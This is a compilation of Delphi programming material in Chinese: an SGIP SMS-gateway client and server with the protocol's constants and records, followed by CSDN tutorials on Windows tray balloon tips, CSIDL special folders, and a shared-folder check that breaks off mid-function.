FillChar(sHead,sizeof(sHead),0);
FillChar(sBind,sizeof(sBind),0);
Recv1I:=socket.ReceiveBuf(sHead,sizeof(sHead));
commandI:=ntohl(sHead.CommandId);
PackSize:=ntohl(sHead.MessageLength);
if commandI=SGIP_UNBIND_RESP then
begin
memo1.Lines.Add('------------------接收到SGIP_UNBIND_RESP请求------------------');
exit;
end;
Recv2I:=socket.ReceiveBuf(sBind,sizeof(sBind));
if commandI=SGIP_BIND_RESP then
memo1.Lines.Add('---------------------SGIP_BIND_RESP------------------')
else
if commandI=SGIP_SUBMIT_RESP then
memo1.Lines.Add('---------------------SGIP_SUBMIT_RESP----------------')
else
memo1.Lines.Add('---------------------'+inttostr(commandI)+'------------------');
memo1.Lines.Add('MessageLength '+inttostr(ntohl(sHead.MessageLength)));
memo1.Lines.Add('CommandId '+inttostr(commandI));
memo1.Lines.Add('SNumber '+inttostr(ntohl(sHead.SNumber1))+' '+
inttostr(ntohl(sHead.SNumber2))+' '+inttostr(ntohl(sHead.SNumber3)));
memo1.Lines.Add('Result '+inttostr(sBind_Resp.Result));
memo1.Lines.add('------------------end SGIP_UNBIND_RESP-------------------');
end;

procedure TForm1.Button7Click(Sender: TObject);
var
FV_Date1_S,FV_Date2_S:string;
stream3:TWinSocketStream;
begin
Stream3:=TWinSocketStream.Create(clientSocket1.Socket,5000);
memo1.Lines.Add('-------------------向服务端发送UnBIND请求--------------------');
if not ClientSocket1.Active then
begin
memo1.Lines.Add('客户端没有打开');
stream3.free;
exit;
end;
DateTimeToString(FV_Date1_S,'mmddhhnnss',now);
DateTimeToString(FV_Date2_S,'zzz',now);
FillChar(sHead,sizeof(sHead),0);
sHead.MessageLength:=htonl(sizeof(sHead));
sHead.CommandId:=htonl(SGIP_UNBIND);
sHead.SNumber1:=htonl(FV_SNumber);
sHead.SNumber2:=htonl(StrToInt(FV_Date1_S));
sHead.SNumber3:=htonl(StrToInt(FV_Date2_S));
stream3.Write(sHead,20);
FillChar(sHead,20,0);
if stream3.WaitForData(5000) then
begin
stream3.ReadBuffer(sHead,20);
end;
stream3.Free;
end;

procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var
RecvSize1,RecvSize2,DeSize:integer;
commandI,MessageSize:LongWord;
begin
RecvSize1:=0;
RecvSize2:=0;
FillChar(cHead,SizeOf(cHead),0);

RecvSize1:=socket.ReceiveBuf(cHead,SizeOf(cHead));
commandI:=ntohl(cHead.CommandId);
MessageSize:=ntohl(cHead.MessageLength);
if commandI=SGIP_BIND then
begin
memo1.Lines.Add('*********************接收到Bind请求*********************');
FillChar(cBind,SizeOf(cBind),0);
FillChar(cBind_Resp,SizeOf(cBind_Resp),0);
RecvSize2:=Socket.ReceiveBuf(cBind,MessageSize-RecvSize1);
if (RecvSize2+RecvSize1)<>MessageSize then
begin
memo1.Lines.Add('**********************bind数据接收错误*******************');
exit;
end;
RecvSize2:=0;RecvSize1:=0;
cHead.CommandId:=htonl(SGIP_BIND_RESP);
cHead.MessageLength:=htonl(sizeof(cHead)+sizeof(cBind_Resp));
cBind_Resp.Result:=0;
RecvSize1:=Socket.SendBuf(cHead,SizeOf(cHead));
RecvSize2:=Socket.SendBuf(cBind_Resp,SizeOf(cBind_Resp));
if (RecvSize1+RecvSize2)<>ntohl(cHead.MessageLength) then
begin
memo1.Lines.Add('**********************响应bind请求错误***********************');
exit;
end;
end
else
if commandI=SGIP_DELIVER then
begin
memo1.Lines.Add('********************接收到SGIP_DELIVER请求********************');
DeSize:=SizeOf(cDeliver);
FillChar(cDeliver,SizeOf(cDeliver),0);
FillChar(cDeliver_Resp,SizeOf(cDeliver_Resp),0);
RecvSize2:=Socket.ReceiveBuf(cDeliver,MessageSize-RecvSize1);
if (RecvSize2+RecvSize1)<>MessageSize then
begin
memo1.Lines.Add('**********************SGIP_DELIVER数据接收错误*******************');
exit;
end;
RecvSize2:=0;RecvSize1:=0;
cHead.CommandId:=htonl(SGIP_DELIVER_RESP);
cHead.MessageLength:=htonl(sizeof(cHead)+sizeof(cDeliver_Resp));
cDeliver_Resp.Result:=0;
RecvSize1:=Socket.SendBuf(cHead,SizeOf(cHead));
RecvSize2:=Socket.SendBuf(cDeliver_Resp,SizeOf(cDeliver_Resp));
if (RecvSize1+RecvSize2)<>ntohl(cHead.MessageLength) then
begin
memo1.Lines.Add('**********************响应SGIP_DELIVER请求错误***********************');
exit;
end;
end
else
if commandI=SGIP_UNBIND then
begin
cHead.CommandId:=htonl(SGIP_UNBIND_RESP);
cHead.MessageLength:=htonl(sizeof(cHead));
memo1.Lines.Add('响应SGIP_UNBIND***************************');
RecvSize2:=Socket.SendBuf(cHead,sizeOf(cHead));
if RecvSize2<>ntohl(cHead.MessageLength) then
begin
memo1.Lines.Add('**********************SGIP_UNBIND发送错误*****************');
exit;
end;
end
else
begin
end;
end;
end.

//..............................................................
file://协议
unit xy;

interface
uses
SysUtils;
const
SGIP_BIND =$1; file://对客户端验证
SGIP_BIND_RESP =$80000001; file://服务端返回验证请求
SGIP_UNBIND =$2; file://断开连接
SGIP_UNBIND_RESP =$80000002; file://返回断开连接状态
SGIP_SUBMIT =$3; file://向SMG提交MT短消息
SGIP_SUBMIT_RESP =$80000003; file://返回SP提交MT短消息状态
SGIP_DELIVER =$4; file://SMG向SP发送一条MO短消息
SGIP_DELIVER_RESP =$80000004; file://返回SMG状态
SGIP_REPORT =$5; file://向SP发送一条先前的submit命令的当前状态
SGIP_REPORT_RESP =$80000005; file://响应SMG状态
file://以下协议对SP无用
SGIP_ADDSP =$6; //
SGIP_ADDSP_RESP =$80000006; //
SGIP_MODIFYSP =$7; //
SGIP_MODIFYSP_RESP =$80000007; //
SGIP_DELETESP =$8; //
SGIP_DELETESP_RESP =$80000008; //
SGIP_QUERYROUTE =$9; //
SGIP_QUERYROUTE_RESP =$80000009; //
SGIP_ADDTELESEG =$a; //
SGIP_ADDTELESEG_RESP =$8000000a; //
SGIP_MODIFYTELESEG =$b; //
SGIP_MODIFYTELESEG_RESP =$8000000b; //
SGIP_DELETETELESEG =$c; //
SGIP_DELETETELESEG_RESP =$8000000c; //
SGIP_ADDSMG =$d; //
SGIP_ADDSMG_RESP =$8000000d; //
SGIP_MODIFYSMG =$e; //
SGIP_MODIFYSMG_RESP =$0000000e; //
SGIP_DELETESMG =$f; //
SGIP_DELETESMG_RESP =$8000000f; //
SGIP_CHECKUSER =$10; //
SGIP_CHECKUSER_RESP =$80000010; //
SGIP_USERRPT =$11; //
SGIP_USERRPT_RESP =$80000011; //
SGIP_TRACE =$1000; //
SGIP_TRACE_RESP =$80001000; //
type
TEMPTY=Record file://空纪录
end;
file://消息头
SGIPHead=Record
MessageLength :longword; file://消息的总长度(字节)
CommandId :longword; file://命令ID
SNumber1,SNumber2,SNumber3:longword; file://序列号
end;
file://消息体
XBind=Record //
LonginType :byte;
LonginPass :array[0..15] of char;
LonginName :array[0..15] of char;
Reserve :array[0..7] of char;
end;
Bind_Resp=Record
Result :byte;
Reserve :array[0..7] of char;
end;
//
Unbind=TEMPTY;
Unbind_Resp=TEMPTY;
//
TelCount=record file://手机号码
TelN :array[0..20] of char;
end;
XSubmit=Record
SPNumber :array[0..20] of char;
ChargeNumber :array[0..20] of char;
UserCount :byte; file://1-100
UserNumber :array[0..20] of char;//TelCount; file://长度为UserCount
CorpID :array[0..4] of char;
ServiceType :array[0..9] of char;
FeeType :byte;
FeeValue :array[0..5] of char;
GivenValue :array[0..5] of char;
AgentFlag :byte;
MOrelatetoMTFlag :byte;
Priority :byte;
ExpireTime :array[0..15] of char;
ScheduleTime :array[0..15] of char;
ReportFlag :byte;
TP_pid :byte;
TP_udhi :byte;
MessageCoding :byte;
MessageType :byte;
MessageLength :longword;
MessageContent :array[0..160] of char; file://长度为 MessageLength;
Reserve :array[0..7] of char;
end;
Submit_Resp=Record
Result :byte;
Reserve :array[0..7] of char;
end;
//
XDeliver=Record
UserNumber :array[0..20] of char;
SPNumber :array[0..27] of char;
{TP_pid :byte;
TP_udhi :byte;
MessageCoding :byte;
MessageLength :longword;}
MessageContent :array[0..254] of char; file://长度为 MessageLength;
Reserver :array[0..7] of char;
end;
Deliver_Resp=Record
Result :byte;
Reserve :array[0..7] of char;
end;

//
XReport=Record
SubSequNumber1,SubSequNumber2,SubSequNumber3 :longword;
ReportType :byte;
UserNumber :array[0..20] of char;
State :byte;
ErrorCode :byte;
Reserve :array[0..7] of char;
end;
Report_Resp=Record
Result :byte;
Reserve :array[0..7] of char;
end;

implementation
end.

file://、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、//
服务端
unit main;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, xy, ScktComp, StdCtrls,winsock;

type

TForm1 = class(TForm)
Memo1: TMemo;
ServerSocket1: TServerSocket;
procedure ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
procedure ServerSocket1ClientError(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
type
SendPack = packed record
head: SGIPHead;
resp: Bind_Resp;
end;
var
ReHead:SGIPHead;
sresp:Bind_Resp;
ReBind:xBind;
ReDeliver:XDeliver;
ReReport:XReport;
i1,i2:integer;
str:string;
S_Number1,S_Number2,S_Number3,longI1:longword;
s_Pack:SendPack;
begin
fillchar(sresp,sizeof(sresp),0);
fillchar(ReHead,sizeof(ReHead),0);
i1:=Socket.ReceiveBuf(ReHead,sizeof(ReHead));
if i1<>sizeof(ReHead) then
begin
memo1.Lines.Add('Recv message Error exit');
exit;
end;
S_Number1:=ReHead.SNumber1;
S_Number2:=ReHead.SNumber2;
S_Number3:=ReHead.SNumber3;
ReHead.MessageLength:=ntohl(ReHead.MessageLength);
ReHead.CommandId:=ntohl(ReHead.CommandId);
ReHead.SNumber1:=ntohl(ReHead.SNumber1);
ReHead.SNumber2:=ntohl(ReHead.SNumber2);
ReHead.SNumber3:=ntohl(ReHead.SNumber3);
memo1.Lines.Add('read SMG message');
memo1.Lines.Add(inttostr(ReHead.MessageLength));
memo1.Lines.Add(inttostr(ReHead.CommandId));
memo1.Lines.Add(inttostr(ReHead.SNumber1));
memo1.Lines.Add(inttostr(ReHead.SNumber2));
memo1.Lines.Add(inttostr(ReHead.SNumber3));
if ReHead.CommandId=SGIP_UNBIND then
begin file://断开连接
FillChar(ReHead,SizeOf(ReHead),0);
ReHead.MessageLength:=htonl(SizeOf(ReHead));
ReHead.CommandId:=htonl(SGIP_UNBIND_RESP);
ReHead.SNumber1:=S_Number1;
ReHead.SNumber2:=S_Number2;
ReHead.SNumber3:=S_Number3;
i1:=socket.SendBuf(ReHead,sizeof(ReHead));
if i1<>sizeof(ReHead) then
memo1.Lines.Add('Send SGIP_UNBIND_Resp Error')
else
memo1.Lines.Add('Send SGIP_UNBIND_Resp OK');
end
else if ReHead.CommandId=SGIP_BIND then
begin file://SMG向SP发送一条MO短消息
FillChar(s_Pack,SizeOf(s_Pack),0);
FillChar(ReBind,SizeOf(ReBind),0);
socket.ReceiveBuf(ReBind,SizeOf(ReBind));
s_Pack.head.MessageLength:=htonl(SizeOf(s_Pack));
s_Pack.head.CommandId:=htonl(SGIP_BIND_RESP);
s_Pack.head.SNumber1:=S_Number1;
s_Pack.head.SNumber2:=S_Number2;
s_Pack.head.SNumber3:=S_Number3;
s_Pack.resp.Result:=0;
i1:=socket.SendBuf(s_Pack,SizeOf(s_Pack));
if i1<>SizeOf(s_Pack) then
memo1.Lines.Add('send SGIP_Bind_Resp Error')
else
memo1.Lines.Add('Send SGIP_bind_Resp');
end
else if ReHead.CommandId=SGIP_DELIVER then
begin
FillChar(s_Pack,SizeOf(s_Pack),0);
FillChar(ReDeliver,SizeOf(ReDeliver),0);
Socket.ReceiveBuf(ReDeliver,SizeOf(ReDeliver));
s_Pack.head.MessageLength:=htonl(SizeOf(s_Pack));
s_Pack.head.CommandId:=htonl(SGIP_DELIVER_RESP);
s_Pack.head.SNumber1:=S_Number1;
s_Pack.head.SNumber2:=S_Number2;
s_Pack.head.SNumber3:=S_Number3;
s_Pack.resp.Result:=0;
if socket.SendBuf(s_Pack,SizeOf(s_Pack)) <>SizeOf(s_Pack) then
memo1.Lines.Add('send SGIP_DELIVER_RESP Error')
else
memo1.Lines.Add('Send SGIP_DELIVER_RESP OK');
memo1.Lines.Add(ReDeliver.UserNumber);
memo1.Lines.Add(ReDeliver.SPNumber);
file://longI1:=ntohl(ReDeliver.MessageLength);
file://memo1.Lines.Add(inttostr(longI1)+' '+inttostr(ReDeliver.MessageLength));
memo1.Lines.Add(ReDeliver.MessageContent);
end
else if ReHead.CommandId=SGIP_REPORT then
begin
FillChar(s_Pack,SizeOf(s_Pack),0);
FillChar(ReReport,SizeOf(ReReport),0);
Socket.ReceiveBuf(ReReport,SizeOf(ReReport));
s_Pack.head.MessageLength:=htonl(SizeOf(s_Pack));
s_Pack.head.CommandId:=htonl(SGIP_REPORT_RESP);
s_Pack.head.SNumber1:=S_Number1;
s_Pack.head.SNumber2:=S_Number2;
s_Pack.head.SNumber3:=S_Number3;
s_Pack.resp.Result:=0;
if socket.SendBuf(s_Pack,SizeOf(s_Pack)) <>SizeOf(s_Pack) then
memo1.Lines.Add('send SGIP_Bind_Resp Error')
else
memo1.Lines.Add('Send SGIP_bind_Resp');
memo1.Lines.Add(ReReport.UserNumber);
memo1.Lines.Add(inttostr(ReReport.State));
end;
end;

procedure TForm1.ServerSocket1ClientError(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
var
errorMsg:string;
begin
case ErrorEvent of
eeGeneral: errorMsg:='eeGeneral';
eeSend: errorMsg:='eeSend';
eeReceive: errorMsg:='eeReceive';
eeConnect: errorMsg:='eeConnect';
eeDisconnect: errorMsg:='eeDisconnect';
eeAccept: errorMsg:='eeAccept';
end;
ErrorCode:=0;
Memo1.Lines.Add('Socket Error:'+errorMsg);
end;

end.


CSDN_文档中心_Shell_NotifyIcon函数新特性---Balloon Tips之深入研究

首先定义新的常数：
const
NIF_INFO = $10;
NIM_SETVERSION = $00000004;
NOTIFYICON_VERSION = 3;
NIM_SETFOCUS = $00000003;
NIIF_INFO = $00000001;
NIIF_WARNING = $00000002;
NIIF_ERROR = $00000003;

NIN_BALLOONSHOW = WM_USER + 2;
NIN_BALLOONHIDE = WM_USER + 3;
NIN_BALLOONTIMEOUT = WM_USER + 4;
NIN_BALLOONUSERCLICK = WM_USER + 5;
NIN_SELECT = WM_USER + 0;
NINF_KEY = $1;
NIN_KEYSELECT = NIN_SELECT or NINF_KEY;
{上面列的可能不全，如果没有定义到的，可在 vs.net 中 vc7 中的 PlatformSDK\Include\ShellAPI.h 中找到}

再定义一个SysTrayIcon的回传消息：
TRAY_CALLBACK = WM_USER + $7258;

然后定义新的 NotifyIconData 结构（放在Type中）：
Type
PNewNotifyIconData = ^TNewNotifyIconData;

TDUMMYUNIONNAME = Record
case Integer of
0: (uTimeout: UINT);
1: (uVersion: UINT);
end;

TNewNotifyIconData = Record
cbSize: DWORD;
Wnd: HWND;
uID: UINT;
uFlags: UINT;
uCallbackMessage: UINT;
hIcon: HICON;
szTip: array [0..127] of Char; //Version 5.0为128个，以前为64个
dwState: DWORD; //Version 5.0
dwStateMask: DWORD; //Version 5.0
szInfo: array [0..255] of Char; //Version 5.0
DUMMYUNIONNAME: TDUMMYUNIONNAME;
szInfoTitle: array [0..63] of Char; //Version 5.0
dwInfoFlags: DWORD; //Version 5.0
end;

声明一个全局变量：
var
IconData: TNewNotifyIconData;

接着转入正题，下面一个过程用来添加 SystrayIcon ：
procedure AddSysTrayIcon;
begin
IconData.cbSize := sizeof(IconData);
IconData.Wnd := AllocateHWnd(SysTrayIconMsgHandler); //Self.Handle; {SysTrayIconMsgHandler 为后面定义的消息处理过程}
IconData.uID := 0;
IconData.uFlags := NIF_ICON or NIF_MESSAGE or NIF_TIP;
IconData.uCallbackMessage := TRAY_CALLBACK; //自定义回传消息
IconData.hIcon := Image1.Picture.Icon.Handle; //此处为一 Icon 的 Handle
IconData.szTip := 'Please send me email.';
if not Shell_NotifyIcon(NIM_ADD, @IconData) then
showmessage('add fail');
end;

再有一个过程用来显示 Balloon Tips ：
procedure ShowBalloonTips;
var
TipInfo, TipTitle: string;
begin
IconData.cbSize := sizeof(IconData);
IconData.uFlags := NIF_INFO;

TipInfo := 'Please send me email.';
strPLCopy(IconData.szInfo, TipInfo, sizeof(IconData.szInfo) - 1);

IconData.DUMMYUNIONNAME.uTimeout := 3000;

TipTitle := 'Happyjoe@21cn.com';
strPLCopy(IconData.szInfoTitle, TipTitle, sizeof(IconData.szInfoTitle) - 1);

IconData.dwInfoFlags := NIIF_INFO; //NIIF_ERROR; //NIIF_WARNING;

Shell_NotifyIcon(NIM_MODIFY, @IconData);
//下面的代码实际上没有用，去掉也可以（至少目前这样认为）
IconData.DUMMYUNIONNAME.uVersion := NOTIFYICON_VERSION;
if not Shell_NotifyIcon(NIM_SETVERSION, @IconData) then
showmessage('setversion fail');
end;

别忘了删除过程：
procedure DeleteSysTrayIcon;
begin
DeallocateHWnd(IconData.Wnd);
if not Shell_NotifyIcon(NIM_DELETE, @IconData) then
showmessage('delete fail');
end;

还有重要的环节---消息处理：
声明：
procedure SysTrayIconMsgHandler(var Msg: TMessage); message TRAY_CALLBACK;

定义：
procedure SysTrayIconMsgHandler(var Msg: TMessage);
begin
case Msg.LParam of
WM_MOUSEMOVE: ;
WM_LBUTTONDOWN: ;
WM_LBUTTONUP: ;
WM_LBUTTONDBLCLK: ;
WM_RBUTTONDOWN: ;
WM_RBUTTONUP: ;
WM_RBUTTONDBLCLK: ;
//以下为新加入的消息
NIN_BALLOONSHOW: {当 Balloon Tips 弹出时执行}
showmessage('NIN_BALLOONSHOW');
NIN_BALLOONHIDE: {当 Balloon Tips 消失时执行（例如 SysTrayIcon 被删除），但指定的 TimeOut 时间到或鼠标点击 Balloon Tips 后的消失不发送此消息}
showmessage('NIN_BALLOONHIDE');
NIN_BALLOONTIMEOUT: {当 Balloon Tips 的 TimeOut 时间到时执行}
showmessage('NIN_BALLOONTIMEOUT');
NIN_BALLOONUSERCLICK: {当鼠标点击 Balloon Tips 时执行。注意：在XP下执行时 Balloon Tips 上有个关闭按钮，而且 Balloon Tips 一直显示（IconData.DUMMYUNIONNAME.uTimeout := 3000; 这句话设定的时间没有用，我的测试是这样的），如果鼠标点在按钮上将接收到 NIN_BALLOONTIMEOUT 消息。}
showmessage('NIN_BALLOONUSERCLICK');
end;
end;

好了，代码写完了。我原先还在到处贴贴子问及如何强制显示 SysTrayIcon 的Tips，现在看来只要执行 ShowBalloonTips （将结构中新的域赋上值，执行NIM_MODIFY 动作）就立即显示出来了。不知道自己回答了自己的问题斑竹会不会给分啊。 ^_^

新特性需要 IE5.0 或以上版本，我在 Win2000、XP + Delphi 6.0下测试通过。手头没有98/ME，不知道可不可以。
（完）


CSDN_文档中心_SHELL编程：利用CSIDL打开特殊文件夹

CSIDL描述及使用说明：
CSIDL 表示的是windows shell中一个特殊文件夹的标识值。这里说的特殊文件夹指的是由windows shell所定义的文件夹,例如："我的文档"，"回收站"，"Inernet Cache文件夹"就是一些由SHELL指定的特殊文件夹.这些特殊文件夹可以是一个磁盘上的物理路径，也可以是一个虚拟文件夹(Virtual Folder)!
注：Virtual Folder
虚拟文件夹是一个由windows shell定义过的文件夹，但这个文件夹并没有与你的电脑上的任何物理 路径相对应.例如：“我的电脑 ”就是一个包含了所有驱动器的虚拟文件夹，还有如“控制面板”也是一个虚拟文件夹，等等。虚拟文件夹很少应用于非shell函数。
在windows2000/NT中，许多csidl所涉及的文件夹都是针对各个用户的。但类似于CSIDL_COMMON_* 可以供所有用户使用。

在许多应用中，一个CSIDL可以与下面的标识之一进行组合使用：

CSIDL_FLAG_CREATE($8000)
windows 2000:如果这个CSIDL所引用的文件夹不存在，则创建这个文件夹!.
CSIDL_FLAG_DONT_VERIFY($4000)
WINDOWS 2000: 无论这个CSIDL所引用的文件夹是否存在都使用它!

CSIDL_ADMINTOOLS($30)
表示当前用户的“管理工具”系统文件夹
CSIDL_ALTSTARTUP($h1D)
不详
CSIDL_APPDATA($1A)
表示当前用户的特定的应用程序数据存储文件夹，例如：C:\Documents and Settings\username\Application Data
CSIDL_BITBUCKET($A)
表示回收站
CSIDL_COMMON_ADMINTOOLS($2F)
表示所有用户的“管理工具”系统文件夹
CSIDL_COMMON_ALTSTARTUP($1D)
表示所有用户的 (只支持WINDOWS NT 系统)
CSIDL_COMMON_APPDATA($23)
表示所有用户的特定的应用程序数据存储文件夹,例如:C:\Documents and Settings\All Users\Application Data
CSIDL_COMMON_DESKTOPDIRECTORY($19)
表示所有用户的“桌面”文件夹，例如：C:\Documents and Settings\All Users\Desktop。
CSIDL_COMMON_DOCUMENTS($2E)
表示所有用户的“我的文档”文件夹，例如:C:\Documents and Settings\All Users\Documents
CSIDL_COMMON_FAVORITES($1F)
表示所有用户的“我的收藏夹”文件夹。
CSIDL_COMMON_PROGRAMS($17)
表示所有用户的“程序”文件夹，例如：C:\Documents and Settings\All Users\Start Menu\Programs
CSIDL_COMMON_STARTMENU($16)
表示所有用户的“开始菜单”文件夹，例如：C:\Documents and Settings\All Users\Start Menu
CSIDL_COMMON_STARTUP($18)
表示所有用户的“启动”文件夹，例如：C:\Documents and Settings\All Users\Start Menu\Programs\Startup
CSIDL_COMMON_TEMPLATES($2D)
表示所有用户的“模块”文件夹，例如：C:\Documents and Settings\All Users\Templates
CSIDL_CONTROLS($3)
表示“控制面板”文件夹
CSIDL_COOKIES($21)
表示当前用户Internet Explorer的cookie 文件夹，例如：C:\Documents and Settings\username\Cookies
CSIDL_DESKTOP($0)
表示“桌面”虚拟文件夹，包含了计算机中的所有内容
CSIDL_DESKTOPDIRECTORY($10)
表示当前用户的“桌面”文件夹，例如：C:\Documents and Settings\username\Desktop
CSIDL_DRIVES($11)
表示“我的电脑”虚拟文件夹，包含了计算机中所有的驱动器
CSIDL_FAVORITES($6)
表示当前用户的“收藏夹”文件夹，例如：C:\Documents and Settings\username\Favorites
CSIDL_FONTS($14)
表示“系统字体”文件夹，例如：C:\WINNT\Fonts
CSIDL_HISTORY($22)
表示Inernet Explorer的“历史记录”文件夹
CSIDL_INTERNET($1)
表示Internet的这个虚拟文件夹
CSIDL_INTERNET_CACHE($20)
表示当前用户的Internet Explorer的"Cache"文件夹，例如：C:\Documents and Settings\username\Temporary Internet Files
CSIDL_LOCAL_APPDATA($1C)
表示当前用户的应用程序数据文件夹，例如：C:\Documents and Settings\username\Local Settings\Application Data
CSIDL_MYMUSIC
表示当前用户存储音乐文件的文件夹，例如：C:\Documents and Settings\User\My Documents\My Music
CSIDL_MYPICTURES($27)
表示当前用户存储图像文件的文件夹，例如：C:\Documents and Settings\username\My Documents\My Pictures
CSIDL_NETHOOD($13)
表示当前用户存在的网络连接的文件夹，例如：C:\Documents and Settings\username\NetHood
CSIDL_NETWORK($12)
表示“网上邻居”这个虚拟文件夹
CSIDL_PERSONAL($5)
表示当前用户的“我的文档”文件夹，例如：C:\Documents and Settings\username\My Documents
CSIDL_PRINTERS($4)
指向“打印机”这个虚拟文件夹
CSIDL_PRINTHOOD($1B)
表示当前用户存在的网络打印机的虚拟文件夹，例如：C:\Documents and Settings\username\PrintHood
CSIDL_PROFILE($28)
表示当前用用户配置文件的文件夹
CSIDL_PROGRAM_FILES($26)
表示程序文件的文件夹，例如：C:\Program Files
CSIDL_PROGRAM_FILES_COMMON($2B)
表示系统程序共用组件文件夹，例如：C:\Program Files\Common
CSIDL_PROGRAMS($2)
表示当前用户的“程序”菜单文件夹，例如：C:\Documents and Settings\username\Start Menu\Programs
CSIDL_RECENT($8)
表示当前用户的“文档”菜单文件夹，例如：C:\Documents and Settings\username\Start Menu\Programs
CSIDL_SENDTO($9)
表示当前用户的“发送到”文件夹，例如：C:\Documents and Settings\username\SendTo
CSIDL_STARTMENU($B)
表示当前用户的“开始”菜单文件夹，例如：C:\Documents and Settings\username\Start Menu
CSIDL_STARTUP($7)
表示当前用户的“启动”菜单文件夹，例如：C:\Documents and Settings\username\Start Menu\Programs\Startup
CSIDL_SYSTEM($25)
表示WINDOWS系统的系统文件夹，例如：C:\WINNT\SYSTEM32
CSIDL_TEMPLATES($15)
表示的是系统中存储文档模块的文件夹
CSIDL_WINDOWS($24)
表示的是系统中Windows目录的文件珍，例如：C:\WINNT

CSIDL可以在以下API函数中进行操作使用，至于函数的说明，我们可以参照MSDN中的API说明：
SHGetFolderLocation, SHGetFolderPath, SHGetSpecialFolderLocation, SHGetSpecialFolderPath

我们看下面一个例子：
//打开一些特殊的文件夹，需要加上ActiveX,shellapi,shlObj单元
Uses ActiveX, ShellApi, ShlObj;
Function OpenSpecialFolder(Flag:Integer;Handle: HWND = 0):Boolean;
//这里的Flag就是我们需要打开的文件夹的CSIDL值
Procedure FreePidl(pidl: PItemIDList);//释放掉PItemIDList实例
var
allocator: IMalloc;
begin
if Succeeded(shlobj.SHGetMalloc(allocator)) then
begin
allocator.Free(pidl);
{$IFDEF VER90}
allocator.Release;
{$ENDIF}
end;
end;
var
exInfo: TShellExecuteInfo;
begin
FillChar(exInfo, SizeOf(exInfo), 0);//给exInfo设置初始值
with exInfo do
begin
cbSize:= Sizeof(exInfo);
fMask:= SEE_MASK_FLAG_DDEWAIT or SEE_MASK_IDLIST;
Wnd:= handle;
nShow:= SW_SHOWNORMAL;
lpVerb:= 'open';
SHGetSpecialFolderLocation(Handle, Flag, PItemIDLIst(lpIDList));//定位到由CSIDL值指定的文件夹
end;
ShellExecuteEx(@exInfo);//打开文件夹
FreePidl(exInfo.lpIDList);
end;

//调用上面写的这个函数：
procedure TForm1.Button5Click(Sender: TObject);
begin
OpenSpecialFolder($0);//或是OPenSpecialFolder(CSIDL_DESKTOP),打开“桌面”窗口
end;
至于CSIDL与其它函数的配置使用方法，大家可自己参照MSDN!


CSDN_文档中心_Shell编程---如何判断一目录是否共享？

下面函数要额外引用 ShlObj, ComObj, ActiveX 单元。

function TForm1.IfFolderShared(FullFolderPath: string): Boolean;

//将TStrRet类型转换为字符串
function StrRetToString(PIDL: PItemIDList; StrRet: TStrRet; Flag:string=''): string;
var
P: PChar;
begin
case StrRet.uType of
STRRET_CSTR:
SetString(Result, StrRet.cStr, lStrLen(StrRet.cStr));
STRRET_OFFSET:
begin
P := @PIDL.mkid.abID[StrRet.uOffset - SizeOf(PIDL.mkid.cb)];
SetString(Result, P, PIDL.mkid.cb - StrRet.uOffset);
end;
STRRET_WSTR:
if Assigned(StrRet.pOleStr) then
Result := StrRet.pOleStr
else
Result := '';
end;
{ This is a hack bug fix to get around Windows Shell Controls returning
spurious "?"s in date/time detail fields }
if (Length(Result) > 1) and (Result[1] = '?') and (Result[2] in ['0'..'9']) then
Result := StringReplace(Result,'?','',[rfReplaceAll]);
end;

//返回Desktop的IShellFolder接口
function DesktopShellFolder: IShellFolder;
begin
OleCheck(SHGetDesktopFolder(Result));
end;

//返回IDList去掉第一个ItemID后的IDList
function NextPIDL(IDList: PItemIDList): PItemIDList;
begin
Result := IDList;
Inc(PChar(Result), IDList^.mkid.cb);
end;

//返回IDList的长度
function GetPIDLSize(IDList: PItemIDList): Integer;
begin
Result := 0;
if Assigned(IDList) then
begin
Result := SizeOf(IDList^.mkid.cb);
while IDList^.mkid.cb <> 0 do
begin
Result := Result + IDList^.mkid.cb;
IDList := NextPIDL(IDList);
end;
end;
end;

//取得IDList中ItemID的个数
function GetItemCount(IDList: PItemIDList): Integer;
begin
Result := 0;
while IDList^.mkid.cb <> 0 do
begin
Inc(Result);
IDList := NextPIDL(IDList);
end;
end;

//创建一ItemIDList对象
function CreatePIDL(Size: Integer): PItemIDList;
var
Malloc: IMalloc;
begin
OleCheck(SHGetMalloc(Malloc));

Result := Malloc.Alloc(Size);
if Assigned(Result) then
FillChar(Result^, Size, 0);
end;

//返回IDList的一个内存拷贝
function CopyPIDL(IDList: PItemIDList): PItemIDList;
var
Size: Integer;
begin
Size := GetPIDLSize(IDList);
Result := CreatePIDL(Size);
if Assigned(Result) then
CopyMemory(Result, IDList, Size);
end;

//返回AbsoluteID最后一个ItemID，即此对象相对于父对象的ItemID
function RelativeFromAbsolute(AbsoluteID: PItemIDList): PItemIDList;
begin
Result := AbsoluteID;
while GetItemCount(Result) > 1 do
Result := NextPIDL(Result);
Result := CopyPIDL(Result);
end;

//将IDList的最后一个ItemID去掉，即得到IDList的父对象的ItemID
procedure StripLastID(IDList: PItemIDList);
var
MarkerID: PItemIDList;
begin
MarkerID := IDList;
if Assigned(IDList) then
begin
while IDList.mkid.cb <> 0 do
begin
MarkerID := IDList;
IDList := NextPIDL(IDList);
end;
MarkerID.mkid.cb := 0;
end;
end;

//判断返回值Flag中是否包含属性Element
function IsElement(Element, Flag: Integer): Boolean;
begin
Result := Element and Flag <> 0;
end;

var
P: Pointer;
NumChars, Flags: LongWord;
ID, NewPIDL, ParentPIDL: PItemIDList;
ParentShellFolder: IShellFolder;
begin
Result := false;
NumChars := Length(FullFolderPath);
P := StringToOleStr(FullFolderPath);
//取出该目录的绝对ItemIDList
OleCheck(DesktopShellFolder.ParseDisplayName(0, nil, P, NumChars, NewPIDL, Flags));
if NewPIDL <> nil then
begin
ParentPIDL := CopyPIDL(NewPIDL);
StripLastID(ParentPIDL); //得到该目录上一级目录的ItemIDList

